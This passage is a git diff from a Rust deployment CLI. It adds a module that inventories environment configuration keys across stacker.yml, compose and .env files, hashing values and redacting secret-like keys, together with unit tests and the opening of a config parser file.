+ &temp.path().join("docker/prod/compose.yml"), + r#" +services: + upload: + image: upload:latest + environment: + S3_BUCKET: prod-bucket +"#, + ); + + let diff = diff(temp.path(), Some("upload")); + + assert_eq!(diff.different.len(), 1); + assert!(diff.missing_in_to.is_empty()); + assert_eq!(diff.different[0].target, "upload"); + } + + #[test] + fn config_diff_treats_remote_secret_metadata_as_present_in_target() { + let from_inventory = ConfigInventory { + environment: "local".to_string(), + targets: vec![crate::cli::config_inventory::TargetConfigInventory { + target_code: "upload".to_string(), + keys: vec![ConfigKeyInventory { + key: "S3_SECRET_KEY".to_string(), + source: "stacker.yml service environment".to_string(), + present: true, + secret: true, + value_hash: Some("local-hash".to_string()), + value_preview: None, + }], + }], + warnings: Vec::new(), + }; + let mut to_inventory = ConfigInventory { + environment: "prod".to_string(), + targets: vec![crate::cli::config_inventory::TargetConfigInventory { + target_code: "upload".to_string(), + keys: Vec::new(), + }], + warnings: Vec::new(), + }; + crate::cli::config_inventory::merge_remote_secret_names( + &mut to_inventory, + "upload", + vec!["S3_SECRET_KEY".to_string()], + ); + + let diff = diff_inventories(from_inventory, to_inventory, Some("upload".to_string())); + + assert!(diff.missing_in_to.is_empty()); + assert_eq!(diff.different.len(), 1); + assert_eq!(diff.different[0].key, "S3_SECRET_KEY"); + assert_eq!(diff.different[0].to_hash, None); + } +} diff --git a/stacker/stacker/src/cli/config_inventory.rs b/stacker/stacker/src/cli/config_inventory.rs new file mode 100644 index 0000000..e6562df --- /dev/null +++ b/stacker/stacker/src/cli/config_inventory.rs @@ -0,0 +1,903 @@ +use std::collections::{BTreeMap, BTreeSet}; +use std::path::{Path, PathBuf}; + +use serde::Serialize; +use sha2::{Digest, Sha256}; + +use crate::cli::config_parser::StackerConfig; +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigInventory { + pub environment: String, + pub targets: Vec, + pub warnings: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct TargetConfigInventory { + pub target_code: String, + pub keys: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigKeyInventory { + pub key: String, + pub source: String, + pub present: bool, + pub secret: bool, + pub value_hash: Option, + pub value_preview: Option, +} + +#[derive(Debug, Clone)] +pub struct InventoryOptions { + pub environment: String, + pub service: Option, + pub show_values: bool, +} + +#[derive(Debug, Clone)] +struct KeyEntry { + value: String, + source: String, +} + +#[derive(Debug, Default)] +struct InventoryBuilder { + targets: BTreeMap>, + warnings: Vec, +} + +impl InventoryBuilder { + fn add_target(&mut self, target: &str) { + self.targets.entry(target.to_string()).or_default(); + } + + fn add_env_map(&mut self, target: &str, source: &str, values: BTreeMap) { + let target_keys = self.targets.entry(target.to_string()).or_default(); + for (key, value) in values { + target_keys.insert( + key, + KeyEntry { + value, + source: source.to_string(), + }, + ); + } + } + + fn add_entries(&mut self, target: &str, entries: BTreeMap) { + self.targets + .entry(target.to_string()) + .or_default() + .extend(entries); + } + + fn warn(&mut self, message: impl Into) { + self.warnings.push(message.into()); + } +} + +pub fn load_inventory( + config_path: &Path, + options: &InventoryOptions, +) -> Result { + let project_dir = config_path + .parent() + .filter(|path| !path.as_os_str().is_empty()) + .unwrap_or_else(|| Path::new(".")); + let config = StackerConfig::from_file(config_path)?; + let (_, env_config) = config + .resolve_environment_config(Some(&options.environment))? + .ok_or_else(|| { + CliError::ConfigValidation("environment could not be resolved".to_string()) + })?; + + let mut builder = InventoryBuilder::default(); + let mut global_entries = BTreeMap::new(); + + if let Some(env_file) = env_config.env_file.as_ref() { + let path = resolve_relative(project_dir, env_file); + match parse_env_file(&path) { + Ok(values) => { + global_entries.extend(values.into_iter().map(|(key, value)| { + ( + key, + KeyEntry { + value, + source: "stacker env_file".to_string(), + }, + ) + })); + } + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + builder.warn(format!("Missing env file: {}", path.display())); + } + Err(error) => return Err(error.into()), + } + } + global_entries.extend(config.env.clone().into_iter().map(|(key, value)| { + ( + key, + KeyEntry { + value, + source: "stacker.yml env".to_string(), + }, + ) + })); + + let main_target = if config.name.trim().is_empty() { + "app".to_string() + } else { + config.name.clone() + }; + if target_matches(&main_target, options.service.as_deref()) { + builder.add_target(&main_target); + builder.add_entries(&main_target, global_entries.clone()); + builder.add_env_map( + &main_target, + "stacker.yml app environment", + config.app.environment.clone().into_iter().collect(), + ); + } + + for service in &config.services { + if !target_matches(&service.name, options.service.as_deref()) { + continue; + } + builder.add_target(&service.name); + builder.add_entries(&service.name, global_entries.clone()); + builder.add_env_map( + &service.name, + "stacker.yml service environment", + service.environment.clone().into_iter().collect(), + ); + } + + if let Some(compose_file) = env_config.compose_file.as_ref() { + let compose_path = resolve_relative(project_dir, compose_file); + load_compose_file( + &compose_path, + "compose", + &global_entries, + None, + options.service.as_deref(), + &mut builder, + )?; + } + + load_app_local_files( + project_dir, + &options.environment, + options.service.as_deref(), + &mut builder, + )?; + + let mut targets = Vec::new(); + for (target_code, keys) in builder.targets { + let key_entries = keys + .into_iter() + .map(|(key, entry)| { + let secret = is_secret_key(&key); + ConfigKeyInventory { + key, + source: entry.source, + present: true, + secret, + value_hash: Some(hash_value(&entry.value)), + value_preview: if secret || !options.show_values { + None + } else { + Some(entry.value) + }, + } + }) + .collect(); + + targets.push(TargetConfigInventory { + target_code, + keys: key_entries, + }); + } + + Ok(ConfigInventory { + environment: options.environment.clone(), + targets, + warnings: builder.warnings, + }) +} + +pub fn merge_remote_secret_names( + inventory: &mut ConfigInventory, + target_code: &str, + names: impl IntoIterator, +) { + if let Some(target) = inventory + .targets + .iter_mut() + .find(|target| target.target_code == target_code) + { + for name in names { + if target.keys.iter().any(|key| key.key == name) { + continue; + } + target.keys.push(ConfigKeyInventory { + key: name, + source: "remote secret metadata".to_string(), + present: true, + secret: true, + value_hash: None, + value_preview: None, + }); + } + target.keys.sort_by(|left, right| left.key.cmp(&right.key)); + return; + } + + let mut keys = names + .into_iter() + .map(|name| ConfigKeyInventory { + key: name, + source: "remote secret metadata".to_string(), + present: true, + secret: true, + value_hash: None, + value_preview: None, + }) + .collect::>(); + keys.sort_by(|left, right| left.key.cmp(&right.key)); + + inventory.targets.push(TargetConfigInventory { + target_code: target_code.to_string(), + keys, + }); + inventory + .targets + .sort_by(|left, right| left.target_code.cmp(&right.target_code)); +} + +fn load_compose_file( + compose_path: &Path, + source_prefix: &str, + global_entries: &BTreeMap, + target_override: Option<&str>, + service_filter: Option<&str>, + builder: &mut InventoryBuilder, +) -> Result<(), CliError> { + let content = match std::fs::read_to_string(compose_path) { + Ok(content) => content, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(()), + Err(error) => return Err(error.into()), + }; + let parsed: serde_yaml::Value = serde_yaml::from_str(&content)?; + let Some(services) = parsed + .get("services") + .and_then(serde_yaml::Value::as_mapping) + else { + return Ok(()); + }; + + let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + for (service_name, service_config) in services { + let target = if let Some(target_override) = target_override { + target_override + } else { + let Some(target) = service_name.as_str() else { + continue; + }; + target + }; + if !target_matches(target, service_filter) { + continue; + } + builder.add_target(target); + builder.add_entries(target, global_entries.clone()); + + if let Some(env_file) = service_config.get("env_file") { + for env_path in compose_env_file_paths(env_file) { + let resolved = resolve_relative(compose_dir, &env_path); + match parse_env_file(&resolved) { + Ok(values) => { + builder.add_env_map(target, &format!("{source_prefix} env_file"), values) + } + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + builder.warn(format!( + "Missing env file for {target}: {}", + resolved.display() + )); + } + Err(error) => return Err(error.into()), + } + } + } + + if let Some(environment) = service_config.get("environment") { + builder.add_env_map( + target, + &format!("{source_prefix} environment"), + compose_environment_values(environment), + ); + } + } + + Ok(()) +} + +fn load_app_local_files( + project_dir: &Path, + environment: &str, + service_filter: Option<&str>, + builder: &mut InventoryBuilder, +) -> Result<(), CliError> { + let mut app_dirs = BTreeSet::new(); + discover_app_local_dirs(project_dir, environment, &mut app_dirs)?; + + for app_dir in app_dirs { + let Some(target) = app_dir.file_name().and_then(|name| name.to_str()) else { + continue; + }; + if !target_matches(target, service_filter) { + continue; + } + let env_dir = app_dir.join("docker").join(environment); + let env_file = env_dir.join(".env"); + if env_file.exists() { + let values = parse_env_file(&env_file)?; + builder.add_env_map(target, "app-local .env", values); + } + + let compose_file = env_dir.join("compose.yml"); + load_compose_file( + &compose_file, + "app-local compose", + &BTreeMap::new(), + Some(target), + service_filter, + builder, + )?; + } + + Ok(()) +} + +fn target_matches(target: &str, service_filter: Option<&str>) -> bool { + match service_filter { + Some(service) => service == target, + None => true, + } +} + +fn discover_app_local_dirs( + dir: &Path, + environment: &str, + app_dirs: &mut BTreeSet, +) -> Result<(), CliError> { + for entry in std::fs::read_dir(dir)? { + let entry = entry?; + let path = entry.path(); + if !path.is_dir() { + continue; + } + let Some(name) = path.file_name().and_then(|name| name.to_str()) else { + continue; + }; + if name.starts_with('.') || name == "target" { + continue; + } + + let app_env_dir = path.join("docker").join(environment); + if app_env_dir.join("compose.yml").exists() || app_env_dir.join(".env").exists() { + app_dirs.insert(path.clone()); + } + } + + Ok(()) +} + +fn compose_environment_values(value: &serde_yaml::Value) -> BTreeMap { + let mut values = BTreeMap::new(); + + match value { + serde_yaml::Value::Mapping(map) => { + for (key, value) in map { + if let Some(key) = key.as_str() { + values.insert(key.to_string(), yaml_scalar_to_string(value)); + } + } + } + serde_yaml::Value::Sequence(items) => { + for item in items { + let Some(item) = item.as_str() else { + continue; + }; + if let Some((key, value)) = item.split_once('=') { + values.insert(key.to_string(), value.to_string()); + } + } + } + _ => {} + } + + values +} + +fn compose_env_file_paths(value: &serde_yaml::Value) -> Vec { + match value { + serde_yaml::Value::String(path) => vec![PathBuf::from(path)], + serde_yaml::Value::Sequence(items) => items + .iter() + .filter_map(|item| match item { + serde_yaml::Value::String(path) => Some(PathBuf::from(path)), + serde_yaml::Value::Mapping(map) => map + .get("path") + .and_then(serde_yaml::Value::as_str) + .map(PathBuf::from), + _ => None, + }) + .collect(), + serde_yaml::Value::Mapping(map) => map + .get("path") + .and_then(serde_yaml::Value::as_str) + .map(PathBuf::from) + .into_iter() + .collect(), + _ => Vec::new(), + } +} + +fn parse_env_file(path: &Path) -> Result, std::io::Error> { + let content = std::fs::read_to_string(path)?; + let mut values = BTreeMap::new(); + + for line in content.lines() { + let line = line.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + let line = line.strip_prefix("export ").unwrap_or(line); + let Some((key, value)) = line.split_once('=') else { + continue; + }; + let key = key.trim(); + if key.is_empty() { + continue; + } + values.insert(key.to_string(), unquote_env_value(value.trim()).to_string()); + } + + Ok(values) +} + +fn resolve_relative(base: &Path, path: &Path) -> PathBuf { + if path.is_absolute() { + path.to_path_buf() + } else { + base.join(path) + } +} + +fn unquote_env_value(value: &str) -> &str { + value + .strip_prefix('"') + .and_then(|inner| inner.strip_suffix('"')) + .or_else(|| { + value + .strip_prefix('\'') + .and_then(|inner| inner.strip_suffix('\'')) + }) + .unwrap_or(value) +} + +fn yaml_scalar_to_string(value: &serde_yaml::Value) -> String { + match value { + serde_yaml::Value::Null => String::new(), + serde_yaml::Value::Bool(value) => value.to_string(), + serde_yaml::Value::Number(value) => value.to_string(), + serde_yaml::Value::String(value) => value.clone(), + _ => serde_yaml::to_string(value) + .unwrap_or_default() + .trim() + .to_string(), + } +} + +fn is_secret_key(key: &str) -> bool { + let normalized = key.to_ascii_uppercase(); + [ + "SECRET", + "PASSWORD", + "TOKEN", + "PRIVATE_KEY", + "CREDENTIAL", + "DATABASE_URL", + "DB_URL", + ] + .iter() + .any(|marker| normalized.contains(marker)) +} + +fn hash_value(value: &str) -> String { + let digest = Sha256::digest(value.as_bytes()); + digest.iter().map(|byte| format!("{byte:02x}")).collect() +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write(path: &Path, content: &str) { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(path, content).unwrap(); + } + + fn inventory( + root: &Path, + environment: &str, + service: Option<&str>, + show_values: bool, + ) -> ConfigInventory { + load_inventory( + &root.join("stacker.yml"), + &InventoryOptions { + environment: environment.to_string(), + service: service.map(str::to_string), + show_values, + }, + ) + .unwrap() + } + + fn key<'a>(inventory: &'a ConfigInventory, target: &str, name: &str) -> &'a ConfigKeyInventory { + inventory + .targets + .iter() + .find(|target_inventory| target_inventory.target_code == target) + .and_then(|target_inventory| target_inventory.keys.iter().find(|key| key.key == name)) + .unwrap() + } + + #[test] + fn config_inventory_collects_stackeryml_env_and_service_overrides() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +env: + RUST_LOG: info +app: + environment: + RUST_LOG: debug +services: + upload: + image: upload:latest + environment: + S3_BUCKET: superbucket +"#, + ); + + let inventory = inventory(temp.path(), "prod", None, true); + + assert_eq!( + key(&inventory, "device-api", "RUST_LOG") + .value_preview + .as_deref(), + Some("debug") + ); + assert_eq!( + key(&inventory, "device-api", "RUST_LOG").source, + "stacker.yml app environment" + ); + assert_eq!( + key(&inventory, "upload", "S3_BUCKET").source, + "stacker.yml service environment" + ); + } + + #[test] + fn config_inventory_attributes_top_level_env_file_keys() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + env_file: docker/prod/.env +"#, + ); + write( + &temp.path().join("docker/prod/.env"), + "DATABASE_URL=postgres://db\n", + ); + + let inventory = inventory(temp.path(), "prod", None, false); + + assert_eq!( + key(&inventory, "device-api", "DATABASE_URL").source, + "stacker env_file" + ); + assert!(key(&inventory, "device-api", "DATABASE_URL").secret); + assert_eq!( + key(&inventory, "device-api", "DATABASE_URL").value_preview, + None + ); + } + + #[test] + fn config_inventory_supports_relative_config_path_in_current_directory() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +env: + RUST_LOG: debug +"#, + ); + + let previous_dir = std::env::current_dir().unwrap(); + std::env::set_current_dir(temp.path()).unwrap(); + let result = load_inventory( + Path::new("stacker.yml"), + &InventoryOptions { + environment: "prod".to_string(), + service: None, + show_values: true, + }, + ); + std::env::set_current_dir(previous_dir).unwrap(); + + let inventory = result.unwrap(); + assert_eq!( + key(&inventory, "device-api", "RUST_LOG") + .value_preview + .as_deref(), + Some("debug") + ); + } + + #[test] + fn config_inventory_collects_compose_environment_and_env_file_by_service() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + compose_file: docker/prod/compose.yml +"#, + ); + write( + &temp.path().join("docker/prod/compose.yml"), + r#" +services: + upload: + image: upload:latest + env_file: + - upload.env + environment: + UPLOAD_TMP_DIR: /tmp/upload +"#, + ); + write( + &temp.path().join("docker/prod/upload.env"), + "S3_BUCKET=superbucket\n", + ); + + let inventory = inventory(temp.path(), "prod", None, true); + + assert_eq!( + key(&inventory, "upload", "S3_BUCKET").source, + "compose env_file" + ); + assert_eq!( + key(&inventory, "upload", "UPLOAD_TMP_DIR") + .value_preview + .as_deref(), + Some("/tmp/upload") + ); + } + + #[test] + fn config_inventory_collects_app_local_env_files() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: stack +deploy: + environment: prod +"#, + ); + write( + &temp.path().join("device-api/docker/prod/.env"), + "RUST_LOG=debug\n", + ); + + let inventory = inventory(temp.path(), "prod", None, true); + + assert_eq!( + key(&inventory, "device-api", "RUST_LOG").source, + "app-local .env" + ); + assert_eq!( + key(&inventory, "device-api", "RUST_LOG") + .value_preview + .as_deref(), + Some("debug") + ); + } + + #[test] + fn config_inventory_attributes_app_local_compose_to_app_directory() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: stack +deploy: + environment: prod +"#, + ); + write( + &temp.path().join("device-api/docker/prod/compose.yml"), + r#" +services: + app: + image: device-api:latest + environment: + RUST_LOG: debug +"#, + ); + + let inventory = inventory(temp.path(), "prod", None, true); + + assert_eq!( + key(&inventory, "device-api", "RUST_LOG").source, + "app-local compose environment" + ); + } + + #[test] + fn config_inventory_filters_to_one_service() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +services: + upload: + image: upload:latest + environment: + S3_BUCKET: superbucket +"#, + ); + + let inventory = inventory(temp.path(), "prod", Some("upload"), true); + + assert_eq!(inventory.targets.len(), 1); + assert_eq!(inventory.targets[0].target_code, "upload"); + } + + #[test] + fn config_inventory_redacts_secret_like_values_even_in_json_model() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +env: + API_TOKEN: supersecret +"#, + ); + + let inventory = inventory(temp.path(), "prod", None, true); + let token = key(&inventory, "device-api", "API_TOKEN"); + + assert!(token.secret); + assert!(token.value_hash.is_some()); + assert_eq!(token.value_preview, None); + } + + #[test] + fn config_inventory_reports_missing_compose_env_file_without_panicking() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + compose_file: docker/prod/compose.yml +"#, + ); + write( + &temp.path().join("docker/prod/compose.yml"), + r#" +services: + upload: + image: upload:latest + env_file: missing.env +"#, + ); + + let inventory = inventory(temp.path(), "prod", None, true); + + assert!(inventory + .warnings + .iter() + .any(|warning| warning.contains("docker/prod/missing.env"))); + } + + #[test] + fn config_inventory_service_filter_omits_unrelated_missing_env_file_warnings() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + compose_file: docker/prod/compose.yml +"#, + ); + write( + &temp.path().join("docker/prod/compose.yml"), + r#" +services: + device-api: + image: device-api:latest + env_file: device-api/.env + upload: + image: upload:latest + env_file: upload/.env +"#, + ); + + let inventory = inventory(temp.path(), "prod", Some("upload"), true); + + assert!(inventory + .warnings + .iter() + .any(|warning| warning.contains("docker/prod/upload/.env"))); + assert!(!inventory + .warnings + .iter() + .any(|warning| warning.contains("docker/prod/device-api/.env"))); + } + + #[test] + fn config_inventory_merges_remote_secret_metadata_without_plaintext() { + let mut inventory = ConfigInventory { + environment: "prod".to_string(), + targets: vec![TargetConfigInventory { + target_code: "upload".to_string(), + keys: Vec::new(), + }], + warnings: Vec::new(), + }; + + merge_remote_secret_names( + &mut inventory, + "upload", + vec!["S3_BUCKET".to_string(), "S3_SECRET_KEY".to_string()], + ); + + assert_eq!(inventory.targets[0].keys.len(), 2); + assert!(inventory.targets[0].keys.iter().all(|key| key.secret)); + assert!(inventory.targets[0] + .keys + .iter() + .all(|key| key.value_preview.is_none() && key.value_hash.is_none())); + assert_eq!( + inventory.targets[0].keys[0].source, + "remote secret metadata" + ); + } +} diff --git a/stacker/stacker/src/cli/config_parser.rs b/stacker/stacker/src/cli/config_parser.rs new file mode 100644 index 0000000..0a3d323 --- /dev/null +++ b/stacker/stacker/src/cli/config_parser.rs @@ -0,0 +1,2271 @@ +use std::collections::{BTreeMap, HashMap}; +use std::fmt; +use std::path::{Path, PathBuf}; + +use serde::{Deserialize, Deserializer, Serialize}; +use serde_valid::Validate; + +use crate::cli::error::{CliError, Severity, ValidationIssue}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AppType — discoverable project types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum AppType { + Static, + Node, + Python, + Rust, + Go, + Php, + Custom, +} + +impl fmt::Display for AppType { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Static => write!(f, "static"), + Self::Node => write!(f, "node"), + Self::Python => write!(f, "python"), + Self::Rust => write!(f, "rust"), + Self::Go => write!(f, "go"), + Self::Php => write!(f, "php"), + Self::Custom => write!(f, "custom"), + } + } +} + +impl Default for AppType { + fn default() -> Self { + Self::Static + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DeployTarget — where to deploy +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum DeployTarget { + Local, + Cloud, + Server, +} + +impl fmt::Display for DeployTarget { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Local => write!(f, "local"), + Self::Cloud => write!(f, "cloud"), + Self::Server => write!(f, "server"), + } + } +} + +impl Default for DeployTarget { + fn default() -> Self { + Self::Local + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ProxyType — reverse proxy flavors +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum ProxyType { + Nginx, + NginxProxyManager, + Traefik, + None, +} + +impl fmt::Display for ProxyType { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Nginx => write!(f, "nginx"), + Self::NginxProxyManager => write!(f, "nginx-proxy-manager"), + Self::Traefik => write!(f, "traefik"), + Self::None => write!(f, "none"), + } + } +} + +impl Default for ProxyType { + fn default() -> Self { + Self::None + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// SslMode — certificate handling +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum SslMode { + Auto, + Manual, + Off, +} + +impl Default for SslMode { + fn default() -> Self { + Self::Off + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiProviderType — supported LLM providers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum AiProviderType { + Openai, + Anthropic, + Ollama, + Custom, +} + +impl fmt::Display for AiProviderType { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Openai => write!(f, "openai"), + Self::Anthropic => write!(f, "anthropic"), + Self::Ollama => write!(f, "ollama"), + Self::Custom => write!(f, "custom"), + } + } +} + +impl Default for AiProviderType { + fn default() -> Self { + Self::Openai + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CloudProvider — supported cloud infrastructure providers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum CloudProvider { + Hetzner, + Digitalocean, + Aws, + Linode, + Vultr, + Contabo, +} + +/// Cloud orchestration mode. +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Default)] +#[serde(rename_all = "lowercase")] +pub enum CloudOrchestrator { + Local, + #[default] + Remote, +} + +impl fmt::Display for CloudProvider { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Hetzner => write!(f, "hetzner"), + Self::Digitalocean => write!(f, "digitalocean"), + Self::Aws => write!(f, "aws"), + Self::Linode => write!(f, "linode"), + Self::Vultr => write!(f, "vultr"), + Self::Contabo => write!(f, "contabo"), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Configuration structs — nested sections of stacker.yml +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Application source configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct AppSource { + #[serde(rename = "type", default)] + pub app_type: AppType, + + #[serde(default = "default_app_path")] + pub path: PathBuf, + + #[serde(default)] + pub dockerfile: Option, + + #[serde(default)] + pub image: Option, + + #[serde(default)] + pub build: Option, + + /// Explicit port mappings (e.g. `"8080:80"`). When empty the CLI + /// derives a default from `app_type`. + #[serde(default)] + pub ports: Vec, + + /// Volume mounts (e.g. `"./data:/app/data"`). + #[serde(default)] + pub volumes: Vec, + + /// Per-app environment variables. Merged with the top-level `env:` + /// section (app-level wins on conflict). + #[serde(default)] + pub environment: HashMap, +} + +fn default_app_path() -> PathBuf { + PathBuf::from(".") +} + +/// Docker build configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct BuildConfig { + #[serde(default = "default_build_context")] + pub context: String, + + #[serde(default)] + pub args: HashMap, +} + +fn default_build_context() -> String { + ".".to_string() +} + +/// Additional container service alongside the app. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ServiceDefinition { + pub name: String, + pub image: String, + + #[serde(default)] + pub ports: Vec, + + #[serde(default)] + pub environment: HashMap, + + #[serde(default)] + pub volumes: Vec, + + #[serde(default)] + pub depends_on: Vec, +} + +fn deserialize_services<'de, D>(deserializer: D) -> Result, D::Error> +where + D: Deserializer<'de>, +{ + let value = serde_yaml::Value::deserialize(deserializer)?; + + match value { + serde_yaml::Value::Null => Ok(Vec::new()), + serde_yaml::Value::Sequence(_) => { + serde_yaml::from_value(value).map_err(serde::de::Error::custom) + } + serde_yaml::Value::Mapping(map) => { + let mut services = Vec::new(); + + for (key, service_value) in map { + let service_key = key + .as_str() + .ok_or_else(|| serde::de::Error::custom("services map key must be a string"))? + .to_string(); + + let mut service_map = match service_value { + serde_yaml::Value::Mapping(m) => m, + _ => { + return Err(serde::de::Error::custom( + "each services map item must be an object", + )); + } + }; + + let has_name = service_map.keys().any(|k| k.as_str() == Some("name")); + if !has_name { + service_map.insert( + serde_yaml::Value::String("name".to_string()), + serde_yaml::Value::String(service_key), + ); + } + + let service: ServiceDefinition = + serde_yaml::from_value(serde_yaml::Value::Mapping(service_map)) + .map_err(serde::de::Error::custom)?; + services.push(service); + } + + Ok(services) + } + _ => Err(serde::de::Error::custom( + "services must be a sequence or map", + )), + } +} + +/// Proxy/ingress configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ProxyConfig { + #[serde(rename = "type", default)] + pub proxy_type: ProxyType, + + #[serde(default = "default_auto_detect")] + pub auto_detect: bool, + + #[serde(default)] + pub domains: Vec, + + #[serde(default)] + pub config: Option, +} + +fn default_auto_detect() -> bool { + true +} + +/// Per-domain routing and SSL settings. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DomainConfig { + pub domain: String, + + #[serde(default)] + pub ssl: SslMode, + + pub upstream: String, +} + +/// Docker registry credentials for pulling private images during deployment. +/// +/// TODO: Currently these credentials are passed through on every deploy (env vars or stacker.yml). +/// In the future, store docker credentials server-side (similar to how `cloud_token` is persisted +/// in the `clouds` table) or in HashiCorp Vault, so users only need to provide them once. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct RegistryConfig { + /// Docker registry username (or from env `STACKER_DOCKER_USERNAME`). + #[serde(default)] + pub username: Option, + + /// Docker registry password (or from env `STACKER_DOCKER_PASSWORD`). + #[serde(default)] + pub password: Option, + + /// Docker registry server URL (default: docker.io). + /// Use for private registries like `ghcr.io`, `registry.example.com`. + #[serde(default)] + pub server: Option, +} + +/// Per-target deployment profile in multi-target configs. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct DeployProfileConfig { + #[serde(default)] + pub environment: Option, + + #[serde(default)] + pub compose_file: Option, + + #[serde(default)] + pub deployment_hash: Option, + + #[serde(default)] + pub cloud: Option, + + #[serde(default)] + pub server: Option, + + #[serde(default)] + pub registry: Option, +} + +impl DeployProfileConfig { + fn inferred_target(&self, profile_name: &str) -> Result { + match (self.server.is_some(), self.cloud.is_some()) { + (true, true) => Err(CliError::ConfigValidation(format!( + "deploy.targets.{profile_name} cannot define both 'server' and 'cloud'" + ))), + (true, false) => Ok(DeployTarget::Server), + (false, true) => Ok(DeployTarget::Cloud), + (false, false) => Ok(DeployTarget::Local), + } + } +} + +/// Deployment target configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct DeployConfig { + #[serde(default)] + pub target: DeployTarget, + + #[serde(default)] + pub environment: Option, + + #[serde(default)] + pub compose_file: Option, + + #[serde(default)] + pub deployment_hash: Option, + + #[serde(default)] + pub cloud: Option, + + #[serde(default)] + pub server: Option, + + /// Docker registry credentials for pulling private images. + #[serde(default)] + pub registry: Option, + + /// Default named target when `deploy.targets` is used. + #[serde(default)] + pub default_target: Option, + + /// Named deploy profiles. When present, commands resolve one target profile + /// to the legacy single-target shape before executing. + #[serde(default)] + pub targets: BTreeMap, +} + +impl DeployConfig { + pub fn uses_named_targets(&self) -> bool { + !self.targets.is_empty() + } + + fn parse_legacy_target_override(value: &str) -> Result { + let json = format!("\"{}\"", value.trim().to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation(format!( + "Unknown deploy target '{}'. Valid targets: local, cloud, server", + value + )) + }) + } + + fn resolve_named_target_name(&self, requested: Option<&str>) -> Result { + if let Some(requested_name) = requested.map(str::trim).filter(|value| 